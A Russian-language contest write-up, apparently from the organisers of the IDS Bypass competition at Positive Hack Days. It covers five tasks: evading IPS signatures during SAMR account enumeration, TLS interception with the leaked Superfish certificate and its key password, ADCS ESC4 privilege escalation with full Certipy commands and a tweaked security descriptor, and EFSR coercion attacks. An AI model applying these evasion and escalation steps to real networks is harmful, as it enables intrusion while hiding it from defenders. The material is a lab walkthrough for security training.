На Positive Hack Days любят белых хакеров, которые умеют не только атаковать, но и делать это тихо. Настолько тихо, что даже IDS ничего не заподозрит. Конкурс IDS Bypass именно об этом. Не просто получить флаг, а сделать это так, чтобы не сработало ни одно правило детектирования.

В этом году мы приготовили пять задач из самых разных областей. Хотите сдампить учетные записи через SAMR? Придется действовать нестандартно. Принять HTTPS-запрос? Прикиньтесь Superfish. А тем, кто привык использовать Responder вместе с Coercer, пришлось проявить изобретательность: встроенные методы были заблокированы.

В этой статье — подробный разбор всех задач конкурса с техническими деталями, попытками участников «не спалиться» и теми самыми моментами, когда смотришь в лог сработок и радуешься, что там пусто.

В этом году мы использовали новую платформу с веб-интерфейсом вместо предыдущей, построенной вокруг телеграм-бота. С помощью новой платформы мы смогли реализовать персональные игровые машины для каждого участника. Веб-интерфейс реализует тот же функционал с прошлых версий конкурса: получение VPN-конфигураций, сработок IPS и сдачу флагов. Мы также перешли с протокола OpenVPN на Wireguard, что позволило упростить подключение и снизить нагрузку на конкурсную инфраструктуру. Решать задачи можно было как на площадке, так и удаленно. Задания были доступны с 10:00 22 мая до 18:00 27 мая.

Curl Game

В этой задаче участникам было необходимо корректно ответить на серию вопросов, отправляя ответы в теле HTTP-запросов, например с помощью curl. Игра начиналась с простого GET-запроса на указанный хост. Задание было несложным и служило, скорее, для знакомства с игровой платформой и концепцией IPS, а сами вопросы участник получал в алертах IPS с каждым новым правильным ответом. Например:

[**] [1:2001:1] Which bug in OpenSSL sounded like a medical diagnosis? The answer must be in the request body [**]

Curl Game был разделен на два блока:

• Первые семь вопросов проверяли базовую аккуратность — правильный HTTP-метод, формат запроса, наличие тела и корректную кодировку.

• Остальные 16 вопросов были сложнее: добавлялись требования к заголовкам, URI, порядку ответов, а также к формату чисел и байтов.

Мы отобрали несколько интересных вопросов из задания. Прежде чем посмотреть правильные ответы, попробуйте угадать их сами.

А так выглядит решение, то есть POST-запрос со всеми необходимыми ответами в верном формате:

curl -X POST -d "1;здесь ломают сервера;cobalt strike;gentilkiwi;half completed;0x504844;stuxnet;nigerian;iloveyou;heartbleed;rainbow;ping of death;ddos;fishing;wireshark;AADKMNPPR;MAC" -H "MyHead: wannAcrY" -H "Photo: 3mgFqa1q1JYrzg" localhost:8888/seclab/final_question/question.txt

just kidding {hKxCTpjOm2HY8W}

ASMR

В этой задаче участнику выдавался IP-адрес Windows-хоста вместе с данными учетной записи администратора. Участнику было необходимо по протоколу SAMR получить список всех учетных записей, зарегистрированных в целевой системе, но сделать это нужно было нестандартным способом.

SAMR (Security Account Manager Remote Protocol) — протокол на основе MSRPC (видоизмененный DCEPRC) для удаленного управления учетными записями в Windows: он позволяет не только получать информацию (имена, SID’ы, группы), но и создавать, изменять и удалять их.

Взаимодействие с MSRPC часто происходит поверх протокола SMB, и привычные инструменты, например, net.exe, используют стандартный SMB-пайп /samr. Но вот проблема: IPS блокирует подключение к этому пайпу и выдает алерт:

[**] [1:2001:1] ATTACK AD [PTsecurity] SAMR Disabled [**]

Отследив свои сетевые запросы через WireShark, участник мог бы увидеть, что блокировка происходит на попытке подключения к SMB-пайпу. Пайп — это способ доставки запроса к нужному RPC-интерфейсу, например SAMR, по SMB-соединению. Когда клиент хочет обратиться к SAMR, он подключается по SMB и затем открывает именованный пайп \\pipe\samr. Он перенаправляет вызовы (DCERPC) к соответствующему служебному процессу на стороне Windows, который реализует нужную логику, — в данном случае службу Security Account Manager.

Мы запретили не только пайп /samr, но и подключения к любым другим портам, кроме 445-го. Это было сделано для того, чтобы избежать прямого обращения к DCERPC-интерфейсу, так как многие MSRPC-службы поддерживают и такие подключения. Увидеть перечень MSRPC-служб и тех TCP-портов, которые они прослушивают, можно при помощи запроса к специальной службе EPM. Увидев алерт, участник должен был подумать: а есть ли другие методы взаимодействия с SAMR? Ответ: есть, и не один.

В Windows существует много подобных одноименных SMB-пайпов для разных сервисов: /samr, /lsarpc, /lsass и /netlogon. Оказалось, что обратиться к интерфейсу SAMR можно и через них. Узнать об этом можно было простым перебором доступных пайпов в системе.

Для выполнения задачи требовался скрипт, способный обращаться к SAMR. Например, такой есть в составе Impacket, и называется он samrdump. По умолчанию он использует пайп /samr, обращения к которому детектирует IPS. И чтобы ее обойти, нужно подправить одну строчку в исходном коде.

Один из участников @railwayka пошел нестандартным путем и использовал скрипт lookupsid из набора Impacket. Этот скрипт подключается не к /samr, а к пайпу /lsarpc и вызывает метод LsaLookupSids, чтобы выполнить брутфорс диапазона SID'ов и получить имена соответствующих учетных записей. Такой подход не просто позволял обойти /samr, но и избегал прямого обращения к этой службе. Ниже пример выполнения команды:

[*] Brute forcing SIDs at 192.168.0.18
[*] StringBinding ncacn_np:192.168.0.18[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1342582712-3466719307-2209710769
500: ASMR\Administrator (SidTypeUser)
501: ASMR\Guest (SidTypeUser)
503: ASMR\DefaultAccount (SidTypeUser)
504: ASMR\WDAGUtilityAccount (SidTypeUser)
513: ASMR\None (SidTypeGroup)
1000: ASMR\flag_s4bg17hpjoob (SidTypeUser)
1001: ASMR\1sol_spxoivijipob (SidTypeUser)
1002: ASMR\2vit_xlmnqjboolkp (SidTypeUser)
1003: ASMR\3dfi_sqxmlxperzkt (SidTypeUser)

Как итог, после дампа флаг содержался в именах нескольких учетных записей.

Lenovo

В этой задаче участникам было необходимо принять входящее HTTPS-соединение на свой игровой хост и получить флаг. Звучит просто, но нюанс в том, что не всякий сертификат считался доверенным: подняв свой HTTPS-сервер на коленке с самоподписанным сертификатом, участник получал IPS-алерт.

[**] [1:2001:1] Untrusted Certificate [**]

Получить свой доверенный сертификат в наши дни совсем несложно: достаточно лишь подтвердить владение доменным именем, и за пять минут вы можете получить бесплатный TLS-сертификат от Let’s Encrypt. Однако нужды в этом не было: запрос на такой сертификат тоже блокировался. Подсказка находится в имени таска: поискав в гугле фразу Lenovo tls certificate, можно было наткнуться на известный скандал с Superfish и найти его готовый сертификат, выложенный на GitHub. В репозитории лежал как сам сертификат, так и приватный ключ, защищенный паролем — komodia.

Если все сделано правильно, от игрового хоста прилетал POST-запрос с флагом:

Получен POST-запрос от ('192.168.0.227', 57976):
{"value":"Superfish says: You can trust me."}
192.168.0.227 - "POST / HTTP/1.1" 200

Получен POST-запрос от ('192.168.0.227', 57980):
{"flag":"ids{KojCXEa0ejezv-I}"}

Magic Certificate

В этой задаче участникам нужно было воспользоваться уязвимой конфигурацией в службе Active Directory Certificate Services (ADCS), где неправильно настроенный шаблон сертификата открывал возможность повышения привилегий.

Служба ADCS — это компонент Windows Server, отвечающий за выпуск, управление и проверку цифровых сертификатов внутри организации. Это распространенный элемент корпоративной инфраструктуры и частая цель атак.
Задача симулировала реальную ситуацию: у атакующего есть ограниченная учетная запись, но есть доступ к уязвимому шаблону в ADCS, что может открыть путь к повышению привилегий.

Подсказкой к сути задания служило само его название. Участник, распознав намек на сертификаты, должен был вспомнить или нагуглить пентест-инструменты для ADCS. Первое, что выдает большинство поисковиков и гайдов, — это Certipy, ставший стандартом для атак на ADCS.

С помощью команды:
certipy-ad find -u Player@hogwarts.local -p P@ssw0rd! -dc-ip 192.168.0.16 -ldap-scheme ldap участник искал сертификат, к которому его учетная запись имела права на изменение:

Template Name: MagicWand
. . . . . .
[!] Vulnerabilities
ESC4: User has dangerous permissions.

Раз уж есть права, то необходимо ими воспользоваться и модифицировать существующий шаблон с помощью команды:
certipy-ad template -u Player@hogwarts.local -p P@ssw0rd! -dc-ip 192.168.0.16 -template PHD -write-default-configuration -ldap-scheme ldap, заменяя его параметры на уязвимую конфигурацию для повышения привилегий:

[*] Saving current configuration to 'PHD.json'
. . . . . . .
nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'

IPS была настроена на распознавание определенной последовательности байтов, характерной для SecurityDescriptor из Certipy. При попытке отправить стандартный шаблон трафик отсекался и выдавался алерт:

[**] [1:2001:1] AD CS Excessive privileges granted for certificate template [**]

Однако встроенный SecurityDescriptor (набор байтов, определяющий права пользователя на сертификат), генерируемый Certipy, выдавал пользователю полные права на шаблон сертификата — в том числе DELETE, что не является необходимым для эксплуатации этой мисконфигурации ADCS.

Решение заключалось в незначительном изменении SecurityDescriptor — например, удалении байта, отвечающего за право DELETE. Этого было достаточно, чтобы обойти срабатывание сигнатуры, сохранив возможность эксплуатации.

Для этого ранее инструментом certipy-ad был сохранен файл PHD.json, в котором можно изменить SecurityDescriptor — указать вместо байта ff010f, например, ff010e:

"nTSecurityDescriptor": "HEX:0100049c3000000000000000000000001400000002001c000100000000001400ff010e0001010000000000050b000000010500000000000515000000f5d4cd129ec4e57f6610fa15f4010000"

И воспользоваться командой для записи изменений в шаблон сертификата:
certipy-ad template -u Player@hogwarts.local -p P@ssw0rd! -dc-ip 192.168.0.16 -template PHD -write-configuration PHD.json -no-save -ldap-scheme ldap

После этого остается сделать запрос на выдачу сертификата от имени пользователя Player, но с указанием в поле UPN другого пользователя:
certipy-ad req -u Player@hogwarts.local -p P@ssw0rd! -ca HogwartsCA -target 192.168.0.16 -template PHD -upn Snape@hogwarts.local

После получения сертификата финальным этапом остается атака unpack the hash, при помощи которой участник превращает сертификат в NTLM-хеш, с которым затем можно прочитать флаг с SMB-шары:

ids{G0XU11kVWaXdCN_}

Uncoercible

В этой задаче участникам предстояло проявить изобретательность и найти нестандартный путь в технике принуждения к аутентификации, учитывая фильтрацию популярных RPC-вызовов. Флагом был словарный пароль, который нужно было сдать в обертке вида ids{...}

Coerce-атаки — это техника горизонтального перемещения в сетях Active Directory. Их суть — заставить удаленную машину аутентифицироваться на хосте атакующего, тем самым передав NetNTLM-хеш, который можно перебрать или использовать для атаки NTLM relay.

Участнику выдавалась учетная запись обычного доменного пользователя и, чтобы усложнить задачу, IPS блокировала все популярные методы из утилиты Coercer. Например:

[**] [1:2001:1] ATTACK AD [PTsecurity] PetitPotam сoerce attack. EfsRpcEncryptFileSrv method is prohibited [**]

Эти методы во многом основаны на вызовах протокола MS-EFSR, которые также эксплуатирует утилита PetitPotam. По умолчанию утилита PetitPotam эксплуатировала два метода для принудительной аутентификации, один из которых назывался EfsRpcEncryptFileSrv. Этот метод используется для шифрования выбранных файлов на Windows-хосте, однако, передав туда путь к файлу на удаленном хосте, жертву можно было заставить пройти на нем аутентификацию от системной учетной записи. Позднее стало известно и о других рабочих методах. Оригинальный скрипт от topotam использует только два метода, но в его коде есть упоминание и других существующих методов этого протокола. Не для всех из них можно найти готовые скрипты. Как раз один из таких методов и надо было самостоятельно реализовать участникам, например EfsRpcEncryptFileExSrv. Подсказка заключалась в том, что на каждый известный DCERPC-вызов участник получал разные сообщения алертов с их названиями.

Для реализации метода участник мог отредактировать скрипт Coercer, добавив новую команду EfsRpcEncryptFileExSrv (21), скопировать структуру запроса и ответа из скрипта topotam. Проведя успешную атаку и получив NetNTLM-хеш, его нужно было сбрутить с помощью словаря rockyou, о чем упоминалось в начале. Как итог, участник получал флаг:

ids{cookiemonster}

Итоги

Мы подробно разобрали каждую задачу — конкурс был интересным и оставил после себя много драйва и положительных эмоций.

Ниже — количество решений по задачам.

А теперь самое время познакомиться с победителями!

Всем огромное спасибо за участие и проявленный интерес к нашему конкурсу. До встречи в следующем году!

Разборы предыдущих конкурсов IDS Bypass:

1. Уязвимости Laravel, технология Cookieless и Kerberos-лапша, или Рассказ о том, как мы IDS Bypass 5 решали

2. DGA-вредонос, лазейки в Kerberos и SMB-команды, о которых вы не слышали. Рассказ о том, как мы конкурс IDS Bypass решали

3. Разбор конкурса IDS Bypass на Positive Hack Days 11

4. Разбор конкурса IDS Bypass на Positive Hack Days 10

5. Разбор конкурса IDS Bypass на Positive Hack Days 9